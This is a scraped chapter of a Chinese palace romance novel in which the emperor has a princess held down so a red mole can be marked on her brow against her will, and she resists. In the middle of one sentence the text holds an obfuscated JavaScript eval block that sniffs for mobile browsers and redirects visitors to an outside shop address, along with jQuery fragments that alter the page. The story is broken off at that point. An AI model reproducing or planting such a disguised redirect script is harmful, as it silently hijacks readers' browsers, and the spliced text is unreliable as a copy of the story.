73. 第73章

作品:《捧观音

    自从赵玄真住进了勤政殿偏殿,偏殿中多了许多精巧的装饰。


    层层叠叠地幔帐被金钩挂起,若隐若现地露出内殿的场景。


    天气炎热,赵玄真穿着一身月牙白的薄纱衣裙,手持书卷依靠在软榻上。


    她面前不远处放着一只繁琐华丽的香炉,袅袅香气正从香炉中徐徐上升。


    皇帝站在幔帐后看着这一幕,他深深地吸了一口殿中的香气,而后刻意清了清嗓子,这才缓步走了进去。


    见赵玄真不理睬自己,皇帝没恼怒,反而觉得心尖微微发痒,脑海中又想起方才早朝上那些大臣的进言。


    当年先皇后离世,他本想给凌霜安排一个假身份,直接立她为后。


    只可惜她太过刚强,又走得太早……


    思绪回笼,皇帝又故意清了清嗓子,却见赵玄真依然不理睬自己,于是只好大声道:“朕来了。”


    赵玄真翻了页书页,淡淡地哦了一声。


    皇帝见状笑了,他走上前,一抬手夺过赵玄真手上的书,假意呵斥道:“现在见朕也不知道行礼了,朕真是纵得你的胆子越来越大了。”


    “小妮子,越发无礼。”


    手中的书陡然间被抢走,赵玄真却也只是淡淡的看了皇帝一眼,她伸手去端案几上的茶,却在即将碰到茶碗的瞬间,又被皇帝轻易抢去。


    赵玄真暗自咬牙,她重重地闭了下眼睛,又去拿一旁的糕点。


    能留在皇帝身边伺候的宫人各个精明似鬼,一旁的内侍见皇帝手中没空,便壮着胆子在赵玄真触碰到糕点之前,一抬手将点心端开。


    皇帝见此情景,还没等赵玄真说什么,他就提前撇清关系道:“这回可跟朕没关系啊。”


    “朕可没打算动你的点心。”


    一而再,再而三,赵玄真是真的有些生气了,她扭头怒视着皇帝,道:“你到底想干什么!”


    赵玄真生气,皇帝却乐了。


    见皇帝高兴,周围的宫人也轻轻地笑了两声。


    赵玄真环顾四周,一一瞪过去,那些宫人瞬间止住了笑声,可笑意却还是不断从眼里散发出来。


    赵玄真转向皇帝,她狠狠地剜了一眼罪魁祸首,而后有些憋气地坐回了软榻上。


    “都不许笑,”皇帝佯装好人,下令道:“谁敢笑,朕就惩罚谁。”


    皇帝只说惩罚,却没说如何惩罚,明显者就是在打趣赵玄真,周围的宫人虽没出声,眼底笑意却愈盛。


    赵玄真冷哼一声,没有说话。


    皇帝笑眯眯地在塌边坐下,刚一靠近就闻到了一股沁人心脾的香气,他伸手摸了摸赵玄真黑亮顺滑的头发,道:“如今的气性是越发大了。”


    “你不守礼,朕连说你两句都不能说了吗?”


    赵玄真撇过头,不理他。


    一时间想起赵玄琮早上说的那些话,赵玄真心里也有些打鼓。


    见她一直沉默,皇帝觉得有些无趣,他抬头朝着四周看去,果然看见了窗前桌子上放着一个空荡荡的鸟笼。


    “那只鸟呢?”皇帝明知故问。


    赵玄真还是不理他。


    皇帝一沉声,笑道:“你若是还不说话,朕便要治太医的罪了。”


    “怎么朕的霜儿变成了哑巴,他们却没诊断出来?”


    “可见是一群庸医。”


    皇帝余光觑着赵玄真的神色道:“平日里还不知道……”


    赵玄真不耐烦地打断皇帝的话,道:“我放的。”


    “为什么?”皇帝装模作样地问道,“不喜欢?朕觉得那鸟儿很好啊。”


    “你既然喜欢,”赵玄真只道,“一开始就别给我。”


    “你既给了我,那便是随便我怎么处置。”


    言语之意,不怪乎是觉得皇帝说得多久,她烦了,要他闭嘴。


    被这样顶撞,皇帝也没生气,他笑眯眯地抬手勾过赵玄真的下巴。


    随着他的动作,赵玄真额头上红玛瑙额饰轻轻晃动。


    看见这颗红色的玛瑙,皇帝微微眯起了眼睛。


    像,实在是太像了,这样看着她,真的仿佛看见了凌霜一般。


    见皇帝此时的神情,赵玄真的心跳猛得加速,她暗自吞了吞口水,缩着下巴想从皇帝的手心逃走。


    却在这一瞬间,她的下巴被皇帝更用力的捏住。


    赵玄真的皮肤嫩且薄,稍微一用力便红了一片。


    赵玄真皱着眉头,轻轻地嘶了一声。


    皇帝盯着她的目光越来越深沉,赵玄真屏住了呼吸。


    一旁的知书知棋看得胆战心惊,生怕皇帝下一句话便是要封妃立后。


    在满室寂静中,皇帝拨弄了一下赵玄真的额饰。


    他的视线随着那抹殷红晃动,皇帝静静地看了一会儿,道:“霜儿。”


    “想不想点一个痣?”


    赵玄真心里一窒,皇帝的拇指摁在她的眉心。


    注视着赵玄真缓缓放大的瞳孔,皇帝继续说道:“就在这里。”


    虽然是询问的语气,但皇帝明显没有跟赵玄真商量的意思。


    哪怕赵玄真当即便跟他闹了起来,可来给她点痣的老姑姑还是带人游鱼一般的涌入室内。


    赵玄真缩着脚,整个人团成一个小团躲在床榻上的一角,再次一句一顿道:“我不要。”


    她像一只被困住的小兽,气势汹汹恶声恶气张牙舞爪地反抗,她自觉自己已经十分的凶恶,可落进天子眼中,却依然是可爱。


    皇帝却没言语,他笑着看着眼赵玄真,一抬手命人将知书知棋扣着带了下去,而后自己转身去了外殿。


    前来给赵玄真点痣的是一位老姑姑,她走上前对着赵玄真行礼,而后道:“九殿下别怕,不疼的。”


    在她说话的同时,一排端着红木描金托盘的宫女在她的身后一字排开。


    托盘的红布上摆放着一小盒猩红的朱砂、一盏油灯以及各种尖头器具。


    老姑姑转身从红布上拿起一只极细极长银针似的物件,她将针在火苗上铐了一会儿,而后沾上了一点朱砂。


    数名宫女绕过老姑姑朝着床榻的方向走来,她们看着躲在床内侧的赵玄真,随后转头看了眼站在后方的老姑姑。


    在老姑姑的点头授意下,她们伸长着手来抓缩在里面的赵玄真。


    一只只纤细白皙的手不断地朝着自己方向抓扑,眼前的景象开始扭曲,宫女和老姑姑在这一瞬间


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17106721|189825||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    似乎成了吃人的妖怪。


    赵玄真的精神一瞬间崩塌,她发出一声高昂的尖叫——


    ——“啊啊啊啊啊啊啊啊啊啊啊!!!!!!!!”


    “救我!!!!”


    “顾平救我!!!!!!!!!”


    眼泪不知不觉流了满脸,赵玄真尝到自己口中潮湿的咸味。


    随着她这一声呼喊,那些舞动的手一瞬间顿住。


    可很快,它们又挥动起来,赵玄真痴痴地看着前方,顾平却始终没有出现。


    她这才想起顾平出了家,成了和尚,再也不会到宫里来了,自己也再也见不到他了。


    头脑清醒过来,赵玄真瞪着猩红的眼眶看着前方,她拿起手边的枕头去丢她们,抓起床脚的被褥去砸她们。


    等到床上丢无可丢了,她还有手,还有脚,她用双腿不断地踢着那些朝自己伸过来的手。


    她的嘴里大声喊道:“别过来!!!”


    “别过来!!”


    内殿里乱成了一团,皇帝却在外殿怡然自得地喝茶,他低头吹了吹茶水,耳边听见内殿再次传来一声高亢的尖叫——


    ——“我不要!放开我!!”


    赵玄真的脚不知被何人抓住,赵玄真猛得一蹬终于挣脱,她拖着自己失而复得的脚再次缩成了一团。


    一朝被蛇咬十年怕井绳,她不敢再用脚踢她们了。


    赵玄真反抗得实在厉害,老姑姑十分为难,她看了看面前惨烈的战场,转身向外殿走去。


    很快她便走了回来。


    赵玄真看着她,心中竟然幼稚的升起几分希冀。


    她牢牢地盯着老姑姑,她多希望她说,皇帝放弃了,不让她点这颗红痣了。


    可面对她殷切盼望的目光,老姑姑只是冷淡地吩咐道:“陛下的指令,不管用任何手段,只要让九殿下点上红痣即可。”


    这一瞬间,赵玄真的心沉了下去。


    她的眼睛如死一般的空洞,也就在这三两秒的间隙中,她被人扣着脚踝拉扯到了床榻中央。


    她的四肢都被人压着,老姑姑凑了上前来。


    “殿下别怕,奴婢用性命担保,这定然是不疼的,”老姑姑说道,“若是殿下实在害怕,就闭上眼睛。”


    “等再睁开眼睛,痣就点完了。”


    手脚都被压着,赵玄真动弹不得,她眼睁睁地看着老姑姑手上的殷红仿佛在滴血一般的银针离自己越来越近。


    恐惧和绝望潮水将她淹没,赵玄真终于绝望地大声喊道:“赵启!!!”


    “我恨你!!!!!”


    从未有人敢直呼皇帝名讳,也从没有人敢说这样的话,满宫室的宫人都在此时愣住了。


    就在这一个呼吸之间,赵玄真猛得从床上弹起来,她奋力一踢,一脚踹开挡在自己面前的宫人。


    她一手抓过一旁的汝窑广口瓷瓶,而后赤着足朝外殿冲去。


    她闯过重重叠叠的幔帐,在见到皇帝的那刻,她想都不想,就将手中的花瓶扔了出去。


    哗啦啦——


    皇帝躲闪及时,花瓶在他旁边的空地上摔得四分五裂。


    他一抬头,对上赵玄真猩红的浸透水汽的眼睛。